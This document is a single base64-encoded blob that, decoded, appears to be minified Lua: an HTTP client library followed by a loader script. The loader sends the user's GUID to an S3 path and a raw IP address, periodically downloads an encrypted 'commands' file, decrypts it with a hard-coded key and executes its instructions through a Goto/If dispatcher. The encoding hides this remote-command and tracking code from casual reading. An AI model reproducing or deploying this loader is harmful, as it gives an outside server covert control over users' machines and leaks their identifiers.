bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|